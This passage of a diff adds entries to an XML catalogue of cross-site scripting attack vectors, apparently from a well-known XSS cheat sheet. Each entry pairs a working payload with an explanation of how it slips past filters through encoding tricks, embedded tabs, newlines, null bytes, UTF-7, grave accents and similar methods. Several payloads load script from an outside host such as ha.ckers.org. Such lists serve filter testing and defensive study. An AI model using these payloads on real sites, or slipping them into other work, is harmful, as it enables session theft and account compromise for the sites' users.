+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>XML (locally hosted)</name> 
+		<code>&lt;XML SRC=&quot;http://ha.ckers.org/xsstest.xml&quot; ID=I&gt;&lt;/XML&gt;
+&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN&gt;</code> 
+		<desc>Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead refers to a locally hosted (must be on the same server) XML file that contains the cross site scripting vector.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>XML HTML+TIME</name> 
+		<code>&lt;HTML&gt;&lt;BODY&gt;
+&lt;?xml:namespace prefix=&quot;t&quot; ns=&quot;urn:schemas-microsoft-com:time&quot;&gt;
+&lt;?import namespace=&quot;t&quot; implementation=&quot;#default#time2&quot;&gt;
+&lt;t:set attributeName=&quot;innerHTML&quot; to=&quot;XSS&lt;SCRIPT DEFER&gt;alert(&apos;XSS&apos;)&lt;/SCRIPT&gt;&quot;&gt; &lt;/BODY&gt;&lt;/HTML&gt;</code> 
+		<desc>HTML+TIME in XML. This is how Grey Magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Commented-out Block</name> 
+		<code>&lt;!--[if gte IE 4]&gt;
+&lt;SCRIPT&gt;alert(&apos;XSS&apos;);&lt;/SCRIPT&gt;
+&lt;![endif]--&gt;</code> 
+		<desc>Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode).  Some websites consider anything inside a comment block to be safe and therefore it does not need to be removed, which allows our XSS vector. Or the system could add comment tags around something to attempt to render it harmless.  As we can see, that probably wouldn't do the job.</desc> 
+		<label>Other Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Cookie Manipulation</name> 
+		<code>&lt;META HTTP-EQUIV=&quot;Set-Cookie&quot; Content=&quot;USERID=&lt;SCRIPT&gt;alert(&apos;XSS&apos;)&lt;/SCRIPT&gt;&quot;&gt;</code> 
+		<desc>Cookie manipulation - admittedly this is pretty obscure but I have seen a few examples where &lt;META is allowed and you can user it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim&apos;s cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc).</desc> 
+		<label>Other Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Local .htc file</name> 
+		<code>&lt;XSS STYLE=&quot;behavior: url(http://ha.ckers.org/xss.htc);&quot;&gt;</code> 
+		<desc>This uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute.</desc> 
+		<label>Other Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Rename .js to .jpg</name> 
+		<code>&lt;SCRIPT SRC=&quot;http://ha.ckers.org/xss.jpg&quot;&gt;&lt;/SCRIPT&gt;</code> 
+		<desc>Assuming you can only fit in a few characters and it filters against &quot;.js&quot; you can rename your JavaScript file to an image as an XSS vector.</desc> 
+		<label>Other Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>SSI</name> 
+		<code>&lt;!--#exec cmd=&quot;/bin/echo &apos;&lt;SCRIPT SRC&apos;&quot;--&gt;&lt;!--#exec cmd=&quot;/bin/echo &apos;=http://ha.ckers.org/xss.js&gt;&lt;/SCRIPT&gt;&apos;&quot;--&gt;</code> 
+		<desc>SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector.  I probably don&apos;t need to mention this, but if you can run commands on the server there are no doubt much more serious issues.</desc> 
+		<label>Other Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>PHP</name> 
+		<code>&lt;? echo(&apos;&lt;SCR)&apos;;
+echo(&apos;IPT&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;&apos;); ?&gt;</code> 
+		<desc>PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues.</desc> 
+		<label>Other Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>JavaScript Includes</name> 
+		<code>&lt;BR SIZE=&quot;&amp;{alert(&apos;XSS&apos;)}&quot;&gt;</code> 
+		<desc>&amp;JavaScript includes (works in Netscape 4.x).</desc> 
+		<label>Other Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS4&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Character Encoding Example</name> 
+		<code>&lt;
+%3C
+&amp;lt
+&amp;lt;
+&amp;LT
+&amp;LT;
+&amp;#60
+&amp;#060
+&amp;#0060
+&amp;#00060
+&amp;#000060
+&amp;#0000060
+&amp;#60;
+&amp;#060;
+&amp;#0060;
+&amp;#00060;
+&amp;#000060;
+&amp;#0000060;
+&amp;#x3c
+&amp;#x03c
+&amp;#x003c
+&amp;#x0003c
+&amp;#x00003c
+&amp;#x000003c
+&amp;#x3c;
+&amp;#x03c;
+&amp;#x003c;
+&amp;#x0003c;
+&amp;#x00003c;
+&amp;#x000003c;
+&amp;#X3c
+&amp;#X03c
+&amp;#X003c
+&amp;#X0003c
+&amp;#X00003c
+&amp;#X000003c
+&amp;#X3c;
+&amp;#X03c;
+&amp;#X003c;
+&amp;#X0003c;
+&amp;#X00003c;
+&amp;#X000003c;
+&amp;#x3C
+&amp;#x03C
+&amp;#x003C
+&amp;#x0003C
+&amp;#x00003C
+&amp;#x000003C
+&amp;#x3C;
+&amp;#x03C;
+&amp;#x003C;
+&amp;#x0003C;
+&amp;#x00003C;
+&amp;#x000003C;
+&amp;#X3C
+&amp;#X03C
+&amp;#X003C
+&amp;#X0003C
+&amp;#X00003C
+&amp;#X000003C
+&amp;#X3C;
+&amp;#X03C;
+&amp;#X003C;
+&amp;#X0003C;
+&amp;#X00003C;
+&amp;#X000003C;
+\x3c
+\x3C
+\u003c
+\u003C</code> 
+		<desc>All of the possible combinations of the character &quot;&lt;&quot; in HTML and JavaScript.  Most of these won&apos;t render, but many of them can get rendered in certain circumstances (standards are great, aren&apos;t they?).</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support:</browser> 
+	</attack> 
+	<attack> 
+		<name>Case Insensitive</name> 
+		<code>&lt;IMG SRC=JaVaScRiPt:alert(&apos;XSS&apos;)&gt;</code> 
+		<desc>Case insensitive XSS attack vector.</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>HTML Entities</name> 
+		<code>&lt;IMG SRC=javascript:alert(&amp;quot;XSS&amp;quot;)&gt;</code> 
+		<desc>HTML entities (the semicolons are required for this to work).</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Grave Accents</name> 
+		<code>&lt;IMG SRC=`javascript:alert(&quot;RSnake says, &apos;XSS&apos;&quot;)`&gt;</code> 
+		<desc>Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don&apos;t know about grave accents).</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Image w/CharCode</name> 
+		<code>&lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&gt;</code> 
+		<desc>If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need.</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>UTF-8 Unicode Encoding</name> 
+		<code>&lt;IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;&gt;</code> 
+		<desc>UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Long UTF-8 Unicode w/out Semicolons</name> 
+		<code>&lt;IMG SRC=&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#0000099&amp;#0000114&amp;#0000105&amp;#0000112&amp;#0000116&amp;#0000058&amp;#0000097&amp;#0000108&amp;#0000101&amp;#0000114&amp;#0000116&amp;#0000040&amp;#0000039&amp;#0000088&amp;#0000083&amp;#0000083&amp;#0000039&amp;#0000041&gt;</code> 
+		<desc>Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for "&amp;#XX;", since most people don&apos;t know about padding - up to 7 numeric characters total).  This is also useful against people who decode against strings like $tmp_string =~ s/.*\&amp;#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate an html encoded string (I&apos;ve seen this in the wild).</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>DIV w/Unicode</name> 
+		<code>&lt;DIV STYLE=&quot;background-image:\0075\0072\006C\0028&apos;\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029&apos;\0029&quot;&gt;</code> 
+		<desc>DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter).  The original vulnerability was found by Renaud Lifchitz (http://www.sysdream.com) as a vulnerability in Hotmail.</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Hex Encoding w/out Semicolons</name> 
+		<code>&lt;IMG SRC=&amp;#x6A&amp;#x61&amp;#x76&amp;#x61&amp;#x73&amp;#x63&amp;#x72&amp;#x69&amp;#x70&amp;#x74&amp;#x3A&amp;#x61&amp;#x6C&amp;#x65&amp;#x72&amp;#x74&amp;#x28&amp;#x27&amp;#x58&amp;#x53&amp;#x53&amp;#x27&amp;#x29&gt;</code> 
+		<desc>Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string = ~ s/.*\&amp;#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters).</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>UTF-7 Encoding</name> 
+		<code>&lt;HEAD&gt;&lt;META HTTP-EQUIV=&quot;CONTENT-TYPE&quot; CONTENT=&quot;text/html; charset=UTF-7&quot;&gt; &lt;/HEAD&gt;+ADw-SCRIPT+AD4-alert(&apos;XSS&apos;);+ADw-/SCRIPT+AD4-</code> 
+		<desc>UTF-7 encoding - if the page that the XSS resides on doesn&apos;t provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one). You don&apos;t need the charset statement if the user&apos;s browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire  http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google&apos;s custom 404 script.</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Escaping JavaScript escapes</name> 
+		<code>\&quot;;alert(&apos;XSS&apos;);//</code> 
+		<desc>Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: &lt;SCRIPT&gt;var a=&quot;$ENV{QUERY_STRING}&quot;;&lt;/SCRIPT&gt; and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read &lt;SCRIPT&gt;var a=&quot;&quot;;alert(&apos;XSS&apos;);//&quot;;&lt;/SCRIPT&gt; which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire.</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>End title tag</name> 
+		<code>&lt;/TITLE&gt;&lt;SCRIPT&gt;alert("XSS");&lt;/SCRIPT&gt;</code> 
+		<desc>This is a simple XSS vector that closes TITLE tags, which can encapsulate the malicious cross site scripting attack.</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>STYLE w/broken up JavaScript</name> 
+		<code>&lt;STYLE&gt;@im\port&apos;\ja\vasc\ript:alert(&quot;XSS&quot;)&apos;;&lt;/STYLE&gt;</code> 
+		<desc>STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts).</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Embedded Tab</name> 
+		<code>&lt;IMG SRC=&quot;jav&#x09;ascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>Embedded tab to break up the cross site scripting attack.</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Embedded Encoded Tab</name> 
+		<code>&lt;IMG SRC=&quot;jav&amp;#x09;ascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>Embedded encoded tab to break up XSS.  For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below.</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Embedded Newline</name> 
+		<code>&lt;IMG SRC=&quot;jav&amp;#x0A;ascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>Embedded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work.</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Embedded Carriage Return</name> 
+		<code>&lt;IMG SRC=&quot;jav&amp;#x0D;ascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I&apos;ve seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters).</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Multiline w/Carriage Returns</name> 
+		<code>&lt;IMG&#x0D;SRC&#x0D;=&#x0D;&quot;&#x0D;j&#x0D;a&#x0D;v&#x0D;a&#x0D;s&#x0D;c&#x0D;r&#x0D;i&#x0D;p&#x0D;t&#x0D;:&#x0D;a&#x0D;l&#x0D;e&#x0D;r&#x0D;t&#x0D;(&#x0D;&apos;&#x0D;X&#x0D;S&#x0D;S&#x0D;&apos;&#x0D;)&#x0D;&quot;&#x0D;&gt;&#x0D;</code> 
+		<desc>Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector).</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Null Chars 1</name> 
+		<code>perl -e &apos;print &quot;&lt;IMG SRC=java\0script:alert(&quot;XSS&quot;)>&quot;;&apos;&gt; out</code> 
+		<desc>Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy (http://www.portswigger.net/proxy/) or use %00 in the URL string or if you want to write your own injection tool you can use Vim (^V^@ will produce a null) to generate it into a text file.  Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example.</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Null Chars 2</name> 
+		<code>perl -e &apos;print &quot;&amp;&lt;SCR\0IPT&gt;alert(&quot;XSS&quot;)&lt;/SCR\0IPT&gt;&quot;;&apos; &gt; out</code> 
+		<desc>Here is a little known XSS attack vector using null characters.  You can actually break up the HTML itself using the same nulls as shown above. I&apos;ve seen this vector bypass some of the most restrictive XSS filters to date</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Spaces/Meta Chars</name> 
+		<code>&lt;IMG SRC=&quot; &amp;#14;  javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn&apos;t take into account spaces in the word &quot;javascript:&quot; - which is correct since that won&apos;t render- and makes the false assumption that you can&apos;t have a space between the quote and the &quot;javascript:&quot; keyword. The actual reality is you can have any char from 1-32 in decimal).</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Non-Alpha/Non-Digit</name> 
+		<code>&lt;SCRIPT/XSS SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> 
+		<desc>Non-alpha-non-digit XSS.  While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag.  The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace.  For example &quot;&lt;SCRIPT\s&quot; != &quot;&lt;SCRIPT/XSS\s&quot;</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
